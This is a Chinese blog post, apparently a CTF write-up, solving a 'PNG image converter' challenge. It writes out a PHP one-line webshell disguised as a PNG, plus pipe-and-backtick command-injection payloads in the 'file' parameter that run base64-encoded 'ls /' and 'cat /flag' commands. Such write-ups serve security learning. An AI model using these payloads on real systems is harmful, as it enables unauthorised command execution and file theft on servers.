当前位置:网站首页>第五空间智能安全⼤赛真题----------PNG图⽚转换器
第五空间智能安全⼤赛真题----------PNG图⽚转换器
2022-07-29 05:19:00 【EdmunDJK】
第五空间智能安全⼤赛真题----------PNG图⽚转换器
解题步骤:
话不多说,看到题目有附件,下他,使用记事本打开发现是网页源代码,老样子,审!
经过代码审计可以看出,文件对 … / 符号进⾏了过滤,所以我们没办法直接进行上传
在convert中可以发现file.open漏洞可以利⽤。
首先我们理解一下这句话的含义上传文件/png 格式,返回base64加密后的文件名
"var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
让我们随意上传一个.png文件,内容为一句话木马,万一成功了吗?
GIF89a
<?php phpinfo(); @eval($_POST['123']); ?>
点击upload显示上传成功
我们可以看到文件名已经被修改,接下来让我们转换一下文件内容,点击convert
输入上面修改后的文件名,点击submit
不难发现我们的文件内容已经被base64加密过了
那我们直接上传一句话木马的方法就不行啦,但是它既然读取了文件,虽然进行了base64加密,我们也可以直接把我们shell命令放进去再解密就好
但是上面经过代码审计已经过滤了 … / 符号,所以这里我们使用 `` 反引号和 || 管道符来进行我们想要的操作,这里先介绍一下反引号和管道符的作用
反引号:
在反引号之间的命令行中也可以使用shell的特殊字符。Shell为得到反引号中命令的结果,它实际上要去执行反引号中指定的命令。执行时,命令中的特殊字符,如$,”,?等又将具有特殊含义,并且反引号所包含的可以是任何一个合法的Shell命令
$ ls
note readme.txt Notice Unix.dir
$ TestString="`echo $HOME ` ` ls [nN]*`"
$ echo $TestString
/home/yxz note Notice
引用链接:https://blog.csdn.net/weixin_40240670/article/details/86694724
管道符:
一个命令的输出可以通过管道做为另一个命令的输入。
“|”是管道命令操作符,简称管道符。利用Linux所提供的管道符“|”将两个命令隔开,管道符左边命令的输出就会作为管道符右边命令的输入。连续使用管道意味着第一个命令的输出会作为 第二个命令的输入,第二个命令的输出又会作为第三个命令的输入,依此类推
使用bp抓包,使用刚才上传后文件名,点击sumbit
我们可以看到下面有转换图⽚的包,发包到repeater
所以我们从这里入手,源文件对上传文件转换使用了base64加密,那么我们利用反引号对反引号内shell命令执行,接着使用管道符对转换后文件进行再解密
这里我们使用 ls / 来查看它根目录下文件,对命令进行base64加密,管道符右边添加base64解密指令,将shell命令输出到所上传的图片文件中。
报错,重新审发现管道符少打一个。。。。。。重新send
file=|`echo bHMgLw== | base64 -d`>4755211f043684058811cb50d9ddb4df.png
render中似乎没有什么东西,进入页面看看
看到一串base64加密过的内容,解!使用hackbar
选中 base64 decode,将上面内容进行解密可以看到其根目录,有一个flag_9707文件
既然已经知道flag位置,那么我们直接进行cat指令的输入,老方法,对 cat /flag_9707 进行base64加密,管道符右边添加base64解密指令,将shell命令输出flag内容到所上传的图片文件中
file=|`echo Y2F0IC9mbGFnXzk3MDc= | base64 -d`>4755211f043684058811cb50d9ddb4df.png
点击send没有报错,进入页面查看
对后面内容进行解密即可得出flag
ctfhub{4d99ffb30443051a909a2e0d}
文中多有不足,求大佬轻喷。。。。
边栏推荐
- Clickhouse learning (IV) SQL operation
- link与@import导入外部样式的区别
- Detailed explanation of exit interrupt
- 【JS题解】牛客网JS篇1-10题
- WIN10 编译ffmpeg(包含ffplay)
- Installation steps and environment configuration of vs Code
- DAY6:利用 PHP 编写文件上传页面
- [C language series] - three methods to simulate the implementation of strlen library functions
- The function of using wechat applet to scan code to log in to the PC web of the system
- 用threejs 技术做游戏跑酷
猜你喜欢
Clickhouse learning (IV) SQL operation
Global components component registration
QT layout management -- Part stretch principle and sizepolicy
Win10 搭建MSYS2环境
【电子电路】ADC芯片如何选型
·Let's introduce ourselves to the way of programming·
Longest string without duplicate characters
Selenium实战案例之爬取js加密数据
ClickHouse学习(五)集群操作
第三课threejs全景预览房间案例
随机推荐
Camunda 1. Camunda workflow - Introduction
DAY15(DAY16拓展):文件包含漏洞
[C language series] - string + partial escape character explanation + annotation tips
uniapp组件之倒计时(如阅读协议倒计时、完成学习倒计时)
uniapp之常用提示弹框
个人学习笔记
Day 3
Similarities and differences between REM and PX and EM
Database operation day 6
Clickhouse learning (VIII) materialized view
Detailed explanation of typical application code of C language array - master enters by mistake (step-by-step code explanation)
Global components component registration
Hcia-r & s self use notes (25) NAT technical background, NAT type and configuration
Merge the same items in the same column in table
Li Kou 994: rotten orange (BFS)
用sql-client.sh生成的job在cancle过后 如何实现断点续传?
微信小程序更改属性值-setData-双向绑定-model
ClickHouse学习(九)clickhouse整合mysql
uniapp组件之选择选项(如套餐选择)
link与@import导入外部样式的区别